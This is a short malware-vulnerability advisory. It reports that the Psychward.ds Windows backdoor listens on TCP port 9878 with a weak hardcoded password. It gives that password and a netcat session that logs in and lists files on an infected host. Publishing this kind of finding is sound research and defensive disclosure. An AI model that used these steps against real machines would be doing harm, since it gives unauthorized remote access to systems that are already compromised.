Backdoor.Win32.Psychward.ds Weak Hardcoded Password

Backdoor.Win32.Psychward.ds malware suffers from a weak hardcoded password issue.

MD5 | f60eb970e61d7d058ea069685259b45d

Discovery / credits: Malvuln - (c) 2021
Original source:
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Threat: Backdoor.Win32.Psychward.ds
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 9878 and requires a password for remote user access. However, the backdoors password "nivag" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: 9e22514c9b0e74c7fcb07b7c091f6123
Vuln ID: MVID-2021-0219
Disclosure: 05/18/2021

nc64.exe x.x.x.x 9878
connected 05/18/21 09:39:43. version 0.2.1
pwd nivag
password accepted
assembly 0
Backdoor.Win32.Psychward.ds.9e22514c9b0e74c7fcb07b7c091f6123.exe 51433
bfsvc.exe 65536
BitLockerDiscoveryVolumeContents 0
bootstat.dat 67584
diagerr.xml 7623
diagwrn.xml 7623
Downloaded Program Files 0
Enterprise.xml 35990
explorer.exe 3904296
Fonts 0
HelpPane.exe 976896

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